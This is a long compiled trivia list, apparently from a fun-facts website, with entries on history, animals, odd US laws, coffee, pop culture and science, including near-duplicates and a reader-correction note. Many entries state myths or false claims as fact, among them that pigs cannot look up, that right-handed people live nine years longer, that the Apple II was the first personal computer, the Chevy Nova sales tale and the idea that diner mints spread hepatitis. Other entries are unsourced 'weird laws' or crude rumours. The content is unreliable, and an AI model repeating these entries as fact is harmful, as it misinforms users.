The Gothic-style Washington National Cathedral contains the remains of the only US president buried in Washington: Woodrow Wilson. William Howard Taft and John F. Kennedy are buried at Arlington National Cemetery in Arlington, VA.

The great Gothic cathedral of Milan was started in 1386, and wasn't completed until 1805.

The Great Lakes are Lake Michigan, Lake Huron, Lake Superior, Lake Erie and Lake Ontario.

The Great Lakes are the most important inland waterway in North America. All the lakes, except Lake Michigan, which lies entirely in the United States, are shared by the United States and Canada and form part of the border between these countries.

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The city of Venice stands on about 120 small islands.

The Civil War in the United States elevated the popularity of coffee to new heights. Soldiers went to war with coffee beans as a primary ration.

The clock at the National Bureau of Standards in Washington, D.C. will gain or lose only one second every 300 years.

The clock tower that supports the famous clock 'Big Ben' at the house of parliament in London, is 320 feet high. The bell from which the clock get it's name, weighs 13.5 tones.

The closest star to the sun, Alpha Centauri, is never visible in the sky north of about 30 degrees Northern Lattitude.

The cockroach has a high resistance to radiation and is the creature most likely to survive a nuclear war.

The cockroach is the fastest animal on 6 legs, covering a meter a second.

The Code of Hammurabi made it forbidden to randomly mistreat slaves. However, the code also stated that slaves were to be branded on the forehead and forbidden to hide or mask the mark.

The coffee filter was invented in 1908 by a German homemaker, Melitta Benz, when she lined a tin cup with blotter paper to filter the coffee grinds.

The coffee tree produces its first full crop when it is about 5 years old. Thereafter it produces consistently for 15 or 20 years.

The coldest capital city in the world is Ulaan Bator, Mongolia.

The coldest outdoor temperature ever recorded on earth was 127 below zero in Antarctica on August 24, 1960.

The color of a chile is no indication of its spiciness, but size usually is the smaller the pepper, the hotter it is.

The combination "ough" can be pronounced in 9!! different ways; Read this: "A rough-coated, dough-faced, thoughtful ploughman strode through the streets of Scarborough; after falling into a slough, he coughed and hiccoughed."

The combination "ough" can be pronounced in nine different ways. The following sentence contains them all: "A rough-coated, dough-faced, thoughtful ploughman strode through the streets of Scarborough; after falling into a slough, he coughed and hiccoughed."

The common goldfish is the only animal that can see both infrared and ultra-violet light.

The complete skin covering of the body measures about 20 sq. feet.

The complete title of the Statue of Liberty is Liberty Enlightening the World

The complete works of Shakespeare can be stored on 5 Megabytes.

The computer in 2001: A Space Odyssey as a tongue-in-cheek reference to IBM. The name was derived from the fact that the letters H-A-L precede the letters I-B-M in the alphabet.

The computer programming language ADA was named in honor of Augusta Ada King. The U.S. Defense Department named the language after the Countess of Lovelace and daughter of Lord Byron because she helped finance and program what is thought to be the first computer, the "analytical engine” designed by Charles Babbage.

The condensed water vapor in the sky left behind by jets is called a contrail.

The condom made originally of linen was invented in the early 1500's.

The correct name for the capital city of Thailand is rung Thep, and it's been this way for over 130 years. Foreigners persist on calling it Bangkok.

The correct response to the Irish greeting, "Top of the morning to you," is "and the rest of the day to yourself."

The country of Losotho is completely surrounded by the country of South Africa.

The country of Tanzania has an island called Mafia.

The country of Tonga once issued a stamp shaped like a banana.

The country with the highest rate of cremations is Japan. In 1996, 98.7% of all deaths were cremated.

The creators of a new model of Chevys couldn't figure out why their car, the Nova, wasn't selling well in Hispanic countries... until someone pointed out that 'Nova' means 'No go' in Spanish.

The crew of Apollo 11 who put the first man on the moon have the same initials as the first men on earth. Armstrong : Adam Aldrin : Abel Collins : Cain

The crow is the smartest of all birds.

The cruise liner Queen Elizabeth II moves only six inches for each gallon of diesel that it burns.

The cruise liner, QE2, moves only six inches for each gallon of diesel that it burns.

The Cullinan Diamond is the largest gem-quality diamond ever discovered. Found in 1905, the original 3,100 carats were cut to make jewels for the British Crown Jewels and the British Royal family's collection.

The curvature of the earth is pretty close to eight inches every mile, or 66 feet every hundred miles.

The daughter of confectioner Leo Hirschfield is commemorated in the name of the sweet he invented: Although his daughter's real name was Clara, she went by the nickname Tootsie, and in her honor, her doting father named his chewy chocolate logs Tootsie Rolls.

The Death Star death ray control panel from the original is actually the control panel of Grass Valley Group GVG 300 Video (television) production switcher

The Declaration of Independence was written on hemp (a variety of the marijuana plant) paper

The deepest hole ever made in the world is in Texas. It is as deep as 20 empire state buildings but only 3 inches wide. (Who made it? A petroleum company)

The deepest land point on Earth is the area around the Dead Sea in Israel. The Dead Sea is located 1,312 below sea level.

The deepest spot in any ocean is the Mariana Trench. It's 36,198 feet below sea level (about seven miles).

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The "London Bridge" is now in Arizona in the U.S.A. This fat cat(rich guy) bought it for only $2.46 million dollars.

The "Miss America" pageant made its network TV debut on ABC In 1954. Miss California, Lee Ann Meriwether, was crowned the winner.

The "O" when used as a prefix in Irish surnames means "descendant of."

The "save" icon in Microsoft Office programs shows a floppy disk with the shutter on backwards.

The "save" icon in Microsoft©®™ Word's toolbar shows a floppy disk with the shutter on backwards.

The "Sesame Street" characters Bert and Ernie were named after Bert the cop and Ernie the cab driver in Frank Capra's "It's A Wonderful Like."

The "sixth sick sheik's sixth sheep's sick" is said to be the toughest tongue twister in the English language.

The "spot" on the 7-Up logo comes from its inventor who had red eyes. He was an albino.

The "Spruce Goose" flew on November 2, 1947, for one mile, at a maximum altitude of 70 feet. Built by Howard Hughes, it is the largest aircraft ever built, the 140-ton eight-engine seaplane, made of birch, has a wingspan of 320 feet. It was built as a prototype troop transport. Rejected by the Pentagon, Hughes put the plane into storage, never to be flown again.

The "Twelve Days of Christmas" gifts: A partridge in a pear tree, two turtledoves, three French hens, four calling birds, five gold rings, six geese laying, seven swans swimming, eight maids milking, nine ladies dancing, ten lords leaping, eleven pipers piping, and twelve drummers drumming. (There are 364 gifts altogether)

The "y" in signs reading "ye olde.." is properly pronounced with a "th" sound, not "y". The "th" sound does not exist in Latin, so ancient Roman occupied (present day) England used the rune "thorn" to represent "th" sounds. With the advent of the printing press the character from the Roman alphabet which closest resembled thorn was the lower case "y".

The "You Are Here" arrow on maps is called an ideo locator.

The # symbols is often referred to as a "number sign" or "pound sign." Its actual name is an octothorpe

The 1922 Essex was the first popularly priced car available with a closed body. The two-door, six-cylinder sedan was called the Essex Coach and sold for $945.

The 1932 Olympics in Los Angeles was the first time the three-level winner's stand was used for the medal ceremony.

The 1st 20 African slaves were brought to the US, to the colony of Virginia in 1619, by a Dutch ship.

The 1st Academy Awards ceremony to be telecast was the 25th, in 1953.

The 1st Academy Awards were presented in 1927.

The 1st annual Grammy Awards were awarded in 1959. The Record of the Year was "Volare" by Domenico Modugno, the Album of the Year was "Peter Gunn" by Henry Mancini and the winner of the best R&B performance was "Tequila" by Champs.

The 1st buffalo ever born in captivity was born at Chicago's Lincoln Park Zoo in 1884.

The 1st CMA (Country Music Association) Awards, hosted by Sonny James and Bobbie Gentry, were presented at an awards banquet and show in 1967.

The 1st comic strip was "The Yellow Kid," in the New York World in 1896. The cartoonist was Richard Felton Outcault.

The 1st feature-length animated film, released by Disney Studios in 1937, was "Snow White and the Seven Dwarfs."

The 1st inductees to the Country Music Hall of Fame in 1961 were Jimmie Rodgers, Fred Rose and Hank Williams were.

The 1st interracial kiss on TV took place Nov. 22, 1968 between Captain James T. Kirk (William Shatner) and Lt.Uhura (Nichelle Nichols) on an episode of "Star Trek."

The 1st kiss in a movie was between May Irwin and John Rice in "The Widow Jones," in 1896.

The 1st live televised murder was in 1963, when Jack Ruby killed JFK's assassin, Lee Harvey Oswald while millions of viewers watched.

The 1st nuclear-powered submarine, the Nautilus, commissioned by the United States Navy in 1954, made her maiden voyage on Jan. 17, 1955.

The 1st performance of Handel's "Messiah" was on April 13, 1742 at the New Music rooms in Fishamble St., Dublin. Because of the demand for space, the men were asked not to wear their swords and the ladies not to wear hooped skirts.

The 1st personal computer, the Apple II, went on sale in 1977.

The 1st presidential news conference filmed for TV was in 1955. Eisenhower was the president.

The 1st televised presidential debate was September 26, 1960, between Nixon and Kennedy.

The 1st time the "f-word" was spoken in a movie was by Marianne Faithfull in the 1968 film, "I'll Never Forget Whatshisname." In Brian De Palma's 1984 movie, "Scarface," the word is spoken 206 times an average of once every 29 seconds.

The 1st unattended, 24-hour self-service laundromat in the United States was opened by Nelson Puett in 1949 on North Loop in Austin, Texas.

The 1st US federal holiday honoring Martin Luther King, Jr. was in 1986.

The 1st US federal legislation prohibiting narcotics (opium) was enacted in 1909.

The 1st US federal penitentiary building was completed at Leavenworth, Kansas in 1906.

The 1st US Minimum Wage Law was instituted in 1938. The minimum wage was 25 cents per hour.

The 1st US Mormon temple was dedicated in Kirtland, Ohio in 1836.

The 1st US zoo was built in Philadelphia, PA, in 1876.

The 1st winner of the Academy Award for best picture, and the only silent film to achieve that honor, was the 1927 film, "Wings."

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Ribbon worms eat themselves if they cant find food

Rice and some other grains contain chemicals that can enhance brain functions.

Rice is the staple food of more than one-half of the world's population.

Rice paper isn't made from rice but from a small tree which grows in Taiwan.

Richard F. has pointed out possible inaccuracies with the trivia for December 16th and January 1st. For this reason, I have decided to pull them.

Richard Henry and Francis Lightfoot Lee are the only brothers who signed the Declaration of Independence. Their cousin, Henry Lee, was a famous Revolutionary War commander and the father of General Robert E. Lee.

Richard Millhouse Nixon was the first US president whose name contains all the letters from the word "criminal." William Jefferson Clinton is the second.

Richard Nixon was the 1st US president to visit China in February, 1972.

Ricin is a protein produced by the castor oil plant, Ricinus communis, which is highly toxic (the minimal lethal dose is around 1 µg / kg body weight, that means 1/15th of a milligram could kill a 150 lb. person). Ricin can be a dangerous contaminant, making the production of castor oil a precisely controlled process.

Right handed people live, on average, nine years longer than left handed people do.

Rin Tin Tin was born to a war-dog mother in a German trench in France during World War I. Deserted when the Germans retreated, the German shepherd puppy was found by an American officer who happened to be a police-dog trainer from California. During Rin Tin Tin's training after the war, the dog's intelligence came to the attention of Warner Brothers, which signed the dog up for what turned out to be a long career as one of the biggest box-office draws of the silent screen era.

Rising sea levels caused by global warming could lead to major flooding in Shanghai and Guangzhou and other Chinese coastal cities by year 2050. This could cause 76 million people to become homeless.

Roasted coffee beans start to lose small amounts of flavor within two weeks. Ground coffee begins to lose its flavor in one hour. Brewed coffee and espresso begins to lose flavor within minutes.

Robert Goddard a scientist and holder of 214 patents fired the first rocket using liquid propellant in 1926.

Robert Peary, who left pieces of the flag scattered at the North Pole was honored for doing this.

Robert Todd Lincoln (Abraham Lincoln's oldest son) was in Washington DC during his father's assassination as well as during President Garfield's assassination, and he was in Buffalo NY when President McKinley was assassinated.

Robert Wadlow is regarded as the tallest man ever known. He was 8'11" at the time of his death at the age of 21.

Robert William Thomson, a Scottish engineer, invented the first rubber tire in 1845.

Rodents teeth never stop growing.

Roger Bannister of Great Britain was the first man to run a mile in under four minutes. On May 6, 1954, he ran the mile in 3 minutes 59.4 seconds.

Roman statues were made with detachable heads, so that one head could be removed and replaced by another.

Ronald Reagan married his first wife, Jane Wyman, at Forest Lawn Cemetery in Glendale, California.

Roosters can't crow if they can't fully extend their necks.

Rosalind Franklin was the woman behind Watson and Crick's doudle helix DNA model. She did all the experiments, but died before she was paid credit. Watson and Crick merely took her results and interpreted it.

Roseanne's fear is anyone touching her toes.

Roses may be red, but violets are indeed violet.

Rudolph the Red-nosed reindeer was actually created as a promotional figure for Montgommery Wards department stores.

Roulette was invented by the French mathematician Blaise Pascal. It was a by-product of his experiments with perpetual motion.

Rubber bands last longer when refrigerated.

Rubbing cocoa butter on your abdomen during pregnancy will prevent stretch marks.

Rudolph, the Red-Nosed Reindeer, was created in 1939, in Chicago, for the Montgomery Ward department stores for a Christmas promotion. The lyrics were written as a poem by Robert May, but weren't set to music until 1947. Gene Autry recorded the hit song in 1949.

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On June 26th, 1945, the charter of the United Nations was signed by 50 countries in San Francisco. (The text of the charter was in five languages: Chinese, English, French, Russian and Spanish.)

On May 25, 1957, two men with the same name scored holes in one on the same golf course. Edward Chapman got a hole in one on the eighth hole at Richmond, Surrey in England. Later that day, Edward Chapman hit one from from the sixth tee.

On record, the largest iceberg ever, was larger than the country of Belgium.

On record, the only time it recently snowed in the Sahara Desert was on Feb.18,1979.

On September 13th, 1916 an elephant that had killed a man was hanged until dead from a rail road crain in Erwin, Tennesee. On their first attempt the elephant fell to the ground. It was very sad.

On the cartoon show "The Jetsons," Jane is 33 years old and her daughter Judy is 15 years old.

On the old Canadian 2 dollar bill,the flag flying over the Parliament Building is NOT an American flag.

On this planet there is a can of SPAM opened every four seconds.

Once a human reaches the age of 35, he/she will start losing approximately 7,000 brain cells a day. The cells will never be replaced.

One - quarter of the world's cattle live in India.

One 75-watt light bulb gives off more light than three 25-watt light bulbs.

One American of every 16 will have one of the Top 12 most common last names.

One beaver can cut down as many as 216 trees per year.

One in about eight million people has progeria, a disease that causes people to grow faster than they age.

One in every 2000 babies is born with a tooth.

One in every 9000 people is an albino.

One in every four Americans has appeared on television.

One in fourteen women in America is a natural blonde. Only one in sixteen men is.

One light year the distance light travels in a year at the speed of 186,000 miles per second is just under six thousand billion miles. Earth's nearest neighbor in space, outside our own solar system is four light years away (about 24 trillion miles).

One million tons of oil is equivalent to about 13,000,000,000 kilowatt hours of electricity.

One of the greatest soldiers in history, Alexander the Great, was tutored by the greatest thinker of all time, Aristotle.

One of the holiest Christian holidays is named after a pagan goddess. The name "Easter" derives from the Anglo-Saxon goddess Eostre, who governed the vernal equinox.

One of the largest carriers of hepitius B is diner mints.

One of the many Tarzans, Karmuala Searlel, was mauled to death by a raging elephant on set.

One of the reasons marijuana is illegal today is because cotton growers in the 30s lobbied against hemp farmers (they saw it as competition).

One out of every 43 prisoners escapes from jail. 94% are recaptured.

One penny doubled everyday becomes over 5 million dollars in just 30 days.

One plain milk chocolate candy bar has more protein than a banana.

One pound of tea can make 300 cups of the beverage.

One quarter of the bones in your body, are in your feet

One ragweed plant can release as many as one billion grains of pollen.

One square mile of land contains more insects than total number of human beings on earth.

One tonne of uranium produces the same amount of energy as 30,000 tonnes of coal.

Only 1 person in 2 billion will live to be 116 or older.

Only 16% of able-bodied males in the American colonies participated in the Revolutionary War.

Only 4 mayors of U.S. cities went on to become president: Calvin Coolidge, Grover Cleveland, Theodore Roosevelt, and Andrew Johnson.

Only 3 words in the English language end in "ceed": "proceed," "exceed," and "succeed."

Only 55% of all Americans know that the sun is a star.

Only about 20% of harvested coffee beans are considered to be a premium bean of the highest quality.

Only female mosquitoes bite. Females need the protein from blood to produce their eggs. Males only drink water and plant juice.

Only four countries in the world start with the letter 'D'. They are Denmark, Dominica, Djibouti and the Dominican Republic

Only full-grown male crickets can chirp.

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Mercury is the only planet whose orbit is coplanar with its equator. Venus and Uranus are the only planets that rotate opposite to the direction of their orbit.

Methylphenidate (Ritalin) is a medication prescribed for individuals (usually children) who have an abnormally high level of activity or attention-deficit hyperactivity disorder (ADHD). According to the National Institute of Mental Health, about 3 to 5 percent of the general population has the disorder, which is characterized by agitated behavior and an inability to focus on tasks. Methylphenidate also is occasionally prescribed for treating narcolepsy. Methylphenidate is a central nervous system (CNS) stimulant. It has effects similar to, but more potent than, caffeine and less potent than amphetamines. It has a notably calming effect on hyperactive children and a "focusing" effect on those with ADHD.

Mexico City is sinking at a rate of 6 to 8 inches a year because it's built on top of an underground reservoir. Wells are drawing out more and more water for the city's growing population of more than 15 million people.

Mexico City is the oldest capital city in the Americas.

Mexico City sinks ten inches per year.

Mexico once had three presidents in one day.

Mice, whales, elephants, giraffes and man all have seven neck vertebra.

Michael Jordan has more money from Nike annually than all of the Nike factory workers in Malaysia combined.

Michael Myers, the villain of the Halloween movies, is named after a real person. When Assault on Precinct 13 performed better than expected in England, director John Carpenter decided to thank the English distributor by naming the main character of his next movie after him.

Michelangelo painted only one easel picture.

Michelangelo's Last Judgment, which hangs on the walls of the Sistine Chapel, drew some harsh criticism from one of the Vatican's officials because of the nudity. So Michelangelo made some changes to his work: he painted in the face of the complaining clergyman and added a donkey's ears and a snake's tail.

Mickey Mouse is known as 'Topolino' in Italy.

Midgets and dwarfs almost always have normal-sized children, even if both parents are midgets or dwarfs.

Mike Greenwell of the Boston Red Sox holds the major league record for the most RBIs that accounted for all of his team's runs. In 1996, he batted in nine runs in a game against the Seattle Mariners.

Milk as an additive to coffee became popular in the 1680's, when a French physician recommended that cafe au lait be used for medicinal purposes.

Milk is actually considered to be a food and not a beverage.

Millie the White House dog earned more than 4 times as much as Pres. Bush in 99. And, rightfully so.

Mineral deposits in caves: The ones growing upward are stalagmites, the ones growing downward are stalactites.

Minnesotans are forbade from teasing skunks.

Minnows have teeth in their throat.

Minors in Kansas City, Missouri, are not allowed to purchase cap pistols; they may buy shotguns freely, however.

Minus forty degrees Celsius is exactly the same as minus forty degrees Fahrenheit.

Mockingbirds can imitate any sound from a squeaking door to a cat meowing.

Modern coffee brewing methods use approximately 200° water.

Moles are able to tunnel through 300 feet of earth in a day.

Monday is the only day of the week that has an anagram, dynamo.

Monday's Child is fair of face, Tuesday's child is full of grace, Wednesday's child is full of woe, Thursday's child has far to go, Friday's child is loving and giving, Saturday's child has to work for its living, But a child that's born on the Sabbath Day, Is fair and wise and good and gay.

Money isn't made out of paper, it's made out of linen.

Monosodium glutamate can be found in mushrooms thanx liz chell, tomatoes and meat. MSG is safe to consume, and is essentially made of only water, sodium and glutamate. It contains only 1/3 the amount of sodium found in table salt, and can reduce salt intake in recipes.

Montana mountain goats will butt heads so hard their hooves fall off.

Montgomery Ward was the first company in the United States to advertise, "Satisfaction guaranteed or your money back.” They did it in 1874, two years after company founder Aaron Montgomery Ward launched his mail-order catalog.

Moon was Buzz Aldrins mothers maiden name. (Buzz Aldrin was the second man on the moon).

More Monopoly is printed yearly than real money throughout the world.

More people are afraid of open spaces (kenophobia) than of tight spaces (claustrophobia).

More than 100 years ago, the felt hat makers of England used mercury to stabilize wool. Most of them eventually became poisoned by the fumes, as demonstrated by the Mad Hatter in Lewis Carroll's Alice in Wonderland. Breathing mercury's fumes over a long period of time will cause erethism, a disorder characterized by nervousness, irritability, and strange personality changes.

More than 20,000 men were killed, wounded, or missing in action in the battle of Antietam, September 17, 1862. This was the bloodiest one-day fight during the Civil War.

More than 25% of the world's forests are in Siberia.

More than 50% of the people in the world have never made or received a telephone call.

More than 80% of all the world's earthquakes occur in the Pacific basin borders.

More than 92 465 people that did the death test in www.thespark.com claimed they had leprosy.

More than 99.9% of all the animal species that have ever lived on earth were extinct before the coming of man.

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It is only appropriate to fly the US flag upside down in emergencies. It means "Help Me, I am in Trouble!"

It is physically impossible for pigs to look up into the sky.

It is possible to lead a cow up stairs, but not down.

It is Texas law that when two trains meet each other at a railroad crossing, each shall come to a full stop, and neither shall proceed until the other has gone.

It is unlawful for small boys to throw stones, at any time, at any place in the District of Columbia.

It snows more in the Grand Canyon than it does in Minneapolis and Minnesota.

It takes 120 drops of water to fill a teaspoon.

It takes 17 muscles to smile and 43 to frown.

It takes 20 different muscles to form a kiss.

It takes 25 muscles to swallow.

It takes 3,000 cows to supply the NFL with enough leather for a year's supply of footballs.

It takes 35 to 65 minks to produce the average mink coat. The numbers for other types of fur coats are: beaver 15; fox 15 to 25; ermine 150; chinchilla 60 to 100.

It takes a lobster approximately seven years to grow to be one pound.

It takes about 1.25 seconds for moonlight to reach the Earth.

It takes about 20 seconds for a red blood cell to circle the whole body.

It takes about 48 hours for your body to completely digest the food from one meal.

It takes forty minutes to hard boil an ostrich egg.

It takes only 8 minutes for sunlight to travel from the sun to the earth, which also means, if you see the sun go out, it actually went out 8 minutes ago

It takes seven years for a lobster to weigh one pound.

It takes, on average, 345 squirts from a cow’s udder to yield one gallon of milk.

It took Leonardo Da Vinci 10 years to paint Mona Lisa. He never signed or dated the painting. Leonardo and Mona had identical bone structures according to the painting. X-ray images have shown that there are 3 other versions under the original.

It took over 4 years to film milo and otis to get the animals to do what they are suppose to.

It was claimed that a Tiger shot dead by colonel Jim Corbett in 1907 had killed 436 people in India.

It was discovered on a space mission that a frog can throw up. The frog throws up its stomach first, so that the stomach is dangling out of it's mouth. Then the frog uses its' forearms to dig out all of the stomach's contents and then swallows the stomach back down again.

It was during the 1600's that the first coffee mill made its debut in London.

It was proposed in the Rhode Island legislature in the 1970s that there be a $2 tax on every act of sexual intercourse.

It was the accepted practice in Babylon 4,000 years ago that for a month after the wedding, the bride's father would supply his

It was the Frisbie Pie Company of Bridgeport, CT, whose name -and lightweight pie tins -gave birth to the modern Frisbee.

It was the law in Scotland in 1288 that for each year known as "lepe yeare" any maiden lady could ask the man she liked to be her husband. If he refused and didn't have a good excuse he would be "mulcted of ye sum of one pound or less" (essentially, he would owe her a dollar). France enacted a similar law a year later.

It was the left shoe that Aschenputtel (Cinderella) lost at the stairway, when the prince tried to follow her. It was originally the right, but the translator messed up again.

It wasn't until 1913 that sports teams started using numbers on players' jerseys for identfication. It first happened during a football game between the University of Chicago and the University of Wisconsin.

It would take 15,840,000 rolls of wallpaper to cover the Great Wall of China.

Italians do not drink espresso during meals. It is considered to be a separate event and is given its own time.

Italians in Italy consume a million and a half tons of spaghetti every year.

Italy now has over 200,000 coffee bars, and still growing.

It's a common myth that chocolate aggravates acne. Experiments conducted at the University of Pennsylvania and the U.S. Naval Academy found that consumption of chocolate -even frequent daily dietary intake -had no effect on the incidence of acne. Professional dermatologists today do not link acne with diet.

It's a diverse world we live in. In the U.S., football, basketball and baseball are the three most watched sports on TV. In England, the top three most viewed are soccer, Formula One auto racing and boxing. In Russia, it's soccer, ice hockey and boxing. And in China, it's soccer, table tennis and swimming.

It's a good thing lemmings are promiscuous, they produce 4 times as many females as males.

It's against the law in Willowdale, Oregon, for a husband to curse during sex.

It's against the law to catch fish with your bare hands in Kansas.

It's been estimated that man have been riding horses for over 3,000 years.

It's been estimated that one out of every two hundred women is born with an extra nipple.

It's been said that Adolph Hitler was a coprophiliac, which means he had a fetish for women's feces. He also had a thing for being urinated on by women.

It's believed that India gets its name from the Indus River. The interesting thing is that none of the river is actually in India...it's in Pakistan.

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In Japan, coffee shops are called Kissaten.

In Joliet, Illinois it is illegal to mispronounce the name Joliet.

In July 1934, Babe Ruth paid the fan who caught his 700th career home run ball $20 to get it back.

In July 1981, a tortoise was sentenced to death for murder. Tribal elders in Kyuasini, a village in Kenya, formally condemned the tortoise because they suspected it of causing the death of six people, apparently through magic. However, because none of the villagers was prepared to risk the tortoise's wrath by carrying out the execution, it was instead chained to a tree. The tortoise was later freed after the government promised an official inquiry into the deaths.

In July, 1950, a patent was issued for an automatic spaghetti-spinning fork.

In Kansas it is illegal to catch bullfrogs in a tomato patch.

In Kentucky you need a license to walk around nude on your property.

In Kentucky, 50% of the people who get married for the first time are teenagers.

In Las Vegas, it's against the law to pawn your dentures.

In Lebanon, Virginia it is illegal to kick your wife out of bed.

In Lefors, Texas it is illegal to take more than three swallows of beer at any time while standing.

In Lexington, Kentucky, it's illegal to carry an ice cream cone in your pocket.

In literature, the average length of a sentence is around 35 words.

In Los Angeles, there are fewer people than there are automobiles.

In Los Angelos, California it is legal for a man to beat his wife with a leather strap as long as it is less than two inches in width, or she gives him permission to use a wider strap.

In M&M candies, the letters stand for Mars and Murrie, the developers of the candy in 1941.

In Maine, it is illegal to sell a car on Sunday unless it comes equipped with plumbing.

In Maryland, men may not buy drinks for female bartenders.

In Massachusetts you must have a license to wear a goatee.

In Massachusetts, if you get caught eating peanuts in church , you can be jailed for up to one year.

In Massachusetts, it is forbidden to put tomatoes in clam chowder.

In Massachusetts, it is unlawful to deliver diapers on Sunday, regardless of emergencies.

In Memphis, Tennessee it is illegal for a woman to drive by herself. A man must walk or run in front of the vehicle, waving a red flag to warn approaching pedestrians and motorists.

In Miami, it's illegal for men to be seen publicly in any kind of strapless gown.

in microsoft 1998 edition if your keyboard isnt responding it displays "keyboard not responding press enter to continue"

In most advertisements, including newspapers, the time displayed on a watch is 10:10.

In most advertisements, the time displayed on a watch is 10:10.

In most American states, a wedding ring is exempt by law from inclusion among the assets in a bankruptcy estate. This means that a wedding ring cannot be seized by creditors, no matter how much the bankrupt person owes.

In most comic strips and magazine advertisments, the time on the clock is 10:10.

In most watch advertisements the time displayed on a watch is 10:10.

In Nags Headm North Carolina you can be fined for singing out of tune for more than ninety seconds.

In Nevada it is illegal to ride a camel on the highway.

In New Hampshire it is illegal to inhale bus fumes with the intent of inducing euphoria.

In New Jersey it is illegal to delay or detain a homing pigeon.

In New York City it is illegal for a man to give 'The Standard Lear' to a woman. Violators are forced to wear horse blinders.

In New York City, approximately 1,600 people are bitten by other humans.

In Newport, Rhode Island it is illegal to smoke from a pipe after sunset.

In Nicholas County, W. Va., no member of the clergy is allowed to tell jokes or humorous stories from the pulpit during a church service.

In Norfolk, Virginia, a woman can't go out without wearing a corset. (There was a civil-service jobfor men onlycalled a corset inspector). However, in Merryville, Missouri, women are prohibited from wearing corsets because "the privilege of admiring the curvaceous, unencumbered body of a young woman should not be denied to the normal, red-blooded American male."

In North America, the breed of dog called the Doberman Pinscher is spelled with one "n". But in Europe where it originated, it's spelled with 2. The man who bred for the Doberman spelled his last name (Dobermann) with 2 'n's as well.

In North Andover, Massachusetts citizens are prohibitied from carrying 'space guns.'

In North Caroline it is illegal to make love on the floor of a hotel room between two double beds.

In North Dakota it is illegal to keep an elk in a sandbox in your backyard.

In NYC, "it is disorderly conduct for one man to greet another on the street by placing the end of his thumb against the tip of his nose and wiggling the extended fingers of that hand."

In Oblong, Illinois, it's punishable by law to make love while hunting or fishing on your wedding day.

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If you need to remember pi, just count the letters in each word of the sentence: "May I have a large container of coffee?" If you get the coffee and are polite say: "Thank you," get two more decimal places. (3.141592653...). Here is another sentance: How I wish I could calculate Pi. (3.141592)

If you pet a cat 70 million times, you will have developed enough static electricity to light a 60-watt light bulb for one minute.

If you pile up the cans of Yeo's products, you would be able to reach the moon.

If you plant an apple seed, it is almost guaranteed to grow a tree of a different type of apple.

If you put a drop of liquor on a scorpion, it will instantly go mad and sting itself to death.

If you put a piece of scotch tape on an inflated balloon, then stick it with a small pin or needle, it won't pop.

If you put a raisin in a champagne bottle, it will rise and fall continuously.

If you put a raisin in a glass of champagne, it will keep floating to the top and sinking to the bottom.

If you rubbed garlic on the sole of your feet, it would be absorbed and eventually show up on your breath

If you sneeze too hard, you can fracture a rib. If you try to suppress a sneeze, you can rupture a blood vessel in your head or neck and die. If you keep your eyes open by force, they can pop out. (DON'T TRY IT, DUMBASS)

If you sneeze too hard, you can fracture a rib. If you try to suppress a sneeze, you can rupture a blood vessel in your head or neck and die

If you strech your arms straight out as far as you can, thats about how tall you are. Try it.

If you suffer from iatrophobia, you're afraid of doctors.

If you take any number between 1 & 9 and multipy them by 9 the sum of the two numbers will always be 9 (ex: 7 X 9 = 63 ; 6 + 3 = 9)

If you take any number, double it, add 10, divide by 2, and subtract your original number, the answer will always be 5.

If you toss a penny 10,000 times, it will not be heads 5,000 times, but more like 4,950. The heads picture weighs more, so it ends up on the bottom more often.

If you travel across the former Soviet Union you will cross seven time zones.

If you traveled the speed of light, it would only take you 0.0000294 seconds to climb Mt. Everest.

If you wanted to count from one to one trillion and you started right now, counting twenty-four hours a day, it would take you about 31,688 years.

If you wear headphones for one hour, it increases bacteria in your ear 700 times.

If you were at 0° latitude and 0° longtitude, you would be standing in the Atlantic Ocean

If you were to go on vacation for eleven days, you'd have less than one million seconds to enjoy it.

If you yelled for 8 years 7 months and 6 days, you would have produced enough sound energy to heat one cup of coffee.

If you fart consistently for 6 years and 9 months, enough gas is produced to create the energy of an atomic bomb.

If you yelled for 8 years, 7 months and 6 days, you will have produced enough sound energy to heat one cup of coffee. cool eh?

If you yelled for 8 years, 7 months and 6 days, you would have produced enough sound energy to heat one cup of coffee. (unsure)

If your like Jeanne Calment and live over 100, you are considered a Centurian.

If your shoes squeak, it simply means that two layers of leather in the sole are rubbing together. Driving a tack through the sole will often remove the squeak.

Imperia, Italy is the home of the Agnesi Historical Museum of Spaghetti.

Impotence is grounds for divorce in 24 states in the United States.

In "Silence of the Lambs", Hannibal Lector (Anthony Hopkins) does not blink in any scene.

In 10 minutes, a hurricane releases more energy than all the world's nuclear weapons combined.

In 1386, a pig was executed by public hanging for the murder of a child

In 1516, Friar Tomas sailed to the Caribbean bringing banana roots with him; and planted bananas in the rich, fertile soil of the tropics, thus beginning the banana's future in American life.

In 1638, Sweden founded a colony in the New World in the Delaware River Valley. It was called New Sweden.

In 1649, Massachusetts's Puritan government ruled the following: "Any childe over 16 who shall CURSE or SMITE their natural FATHER or MOTHER, or act in a STUBBORNE or REBELLIOUS manner shall be put to death."

In 1659 the state of Massachusetts outlawed Christmas.

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Francis Bacon died of hypothermia while trying to freeze a chicken by stuffing it with snow.

Francis Scott Key wrote the words to "The Star-Spangled Banner" on the back on an envelope. The music is from an old English drinking song called "To Anacreon in Heaven."

Frank Baum named "Oz" after a file cabinet in his office. One cabinet was labeled "A to N," and the second was labeled "O to Z."

Frank Baum, looked at his filing cabinet and saw A-N, and O-Z, hence "Oz."

Frankfort, Kentucky, makes it against the law to shoot off a policeman's tie.

Franklin Pierce is the only President to have said "I promise" instead of "I swear at his Inauguration. He did it for religious reasons.

Franz Ferdinand was killed.. remember that the guys death partly caused the WWI. Anyway, his death was almost unavoidable. After an attempted assasination using a bomb failed, (because the bomb hit the rear mud flap of the car Ferdinand was in and bounced away) authorities decided to change the route of Ferdinands tour... but failed to inform the driver of the car. And so, unfortunately, at one stage, the driver took a wrong turn and drove into an alley. While reversing out, Princip (killer) came and shot Ferdinand and his wife at a distance of 4-5 feet killing them. Ferdinand brought his wife to Serejavo to celebrate their anniversary.

Frederic Remington's sculpture The Bronco Buster has mistake in it: the cowboy is wearing his spurs upside down.

Frederic-August Bartholdi sculpted The Statue of Liberty.

Frederick the great had his coffee made with champagne and a bit of mustard.

French composer Erik Satie holds the record for shortest and longest composition in the world. His piano piece Vexations lasts for just under a minute. However, Satie states in the score that it should be played 840 times in succession a nonstop playing time of 14 hours.

French was the official language of England for over 600 years.

Fried chicken is the most popular meal ordered in sit-down restaurants in the US. The next in popularity are: roast beef, spaghetti, turkey, baked ham, and fried shrimp.

Fried cockroach with garlic is used as medicine for the common cold

